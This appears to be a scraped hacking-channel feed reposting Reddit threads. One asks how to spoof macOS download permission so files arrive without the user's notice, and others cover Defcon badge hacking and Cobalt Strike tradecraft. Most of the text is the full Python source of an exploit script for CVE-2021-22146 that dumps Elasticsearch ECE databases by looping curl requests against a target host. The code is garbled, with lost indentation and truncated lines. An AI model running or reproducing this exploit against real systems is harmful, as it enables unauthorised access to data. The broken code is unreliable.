Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Permissions and verification in mac downloads.

For any mac users here, how does Apple verify that you downloaded from a website before so it can freely download from it without asking for permission, for example, if you downloaded something from google drive for the first time, your mac will launch a pop up that tells you to either block the download or allow it, so how does your make verify that? and is there a way to spoof it to automatically download a file without the user's permission or notice? Thanks.

submitted by /u/Addey123
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Permissions and verification in mac downloads.

For any mac users here, how does Apple verify that you downloaded from a website before so it can freely download from it without asking for...

15 viewsedited 18:22

hacking: security in practice
Defcon 29 Badge Hacking Live

Would anyone who has a badge but is not going to defcon this year be interested in doing a live badge hacking on the Hakbreakz stream with me?

submitted by /u/Lamoneyman
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Defcon 29 Badge Hacking Live

Would anyone who has a badge but is not going to defcon this year be interested in doing a live badge hacking on the Hakbreakz stream with me?

13 viewsedited 18:22

Hacking Articles Tips Tricks Videos Tutorials

Cobalt Strike and Tradecraft
https://www.reddit.com/r/redteamsec/comments/os3oud/cobalt_strike_and_tradecraft/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/) [comments] (https://www.reddit.com/r/redteamsec/comments/os3oud/cobalt_strike_and_tradecraft/)

___________________________
@hacking_Attack
@Hacking_Video

Cobalt Strike and Tradecraft

Posted in r/redteamsec by u/dmchell • 3 points and 0 comments

11 viewsedited 18:22

Hacking Articles Tips Tricks Videos Tutorials

10 views19:04

Hacking Articles Tips Tricks Videos Tutorials

10 views19:04

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Elasticsearch ECE 7.13.3 Database Disclosure

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Elasticsearch ECE version 7.13.3 anonymous database dumping exploit.

MD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3

Download

# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump
# Date: 2021-07-21
# Exploit Author: Joan Martinez @magichk
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://www.elastic.co/
# Version: >= 7.10.0 to <=
# Tested on: Elastic ECE (Cloud)
# CVE : CVE-2021-22146
# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 

import os
import argparse
import sys

######### Check Arguments
def checkArgs():
parser = argparse.ArgumentParser()
parser = argparse.ArgumentParser(description='Elasticdump 1.0\n')
parser.add_argument('-s', "--host", action="store",
dest='host',
help="Host to attack.")
parser.add_argument('-p', "--port", action="store",
dest='port',
help="Elastic search port by default 9200 or 9201")
parser.add_argument('-i', "--index", action="store",
dest='index',
help="Index to dump (Example: 30)")
args = parser.parse_args()
if (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :
parser.print_help(sys.stderr)
sys.exit(1)
return args

def banner():
print("      _           _   _         _")
print("  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __")
print(" / _ \ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \| '_ \ ")
print("|  __/ | (_| \__ \ |_| | (_| (_| | |_| | | | | | | |_) |")
print(" \___|_|\__,_|___/\__|_|\___\__,_|\__,_|_| |_| |_| .__/")
print("                                                 |_|")
def exploit(host,port,index):

if (index != 0):
final = int(index)
else:
final = 1000000000

cont = 0
while (cont <=
os.system("curl -X POST \""+host+":"+port+"/_bulk\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\x0d\x0a\"index\"  :  {\x0d\x0a \"_id\" :\""+str(cont)+"\"\x0d\x0a}\x0d\x0a}\x0d\x0a' -k -s")
cont = cont + 1

if __name__ == "__main__":

banner()
args = checkArgs()
if (args.index):
exploit(args.host,args.port,args.index)
else:
exploit(args.host,args.port,0)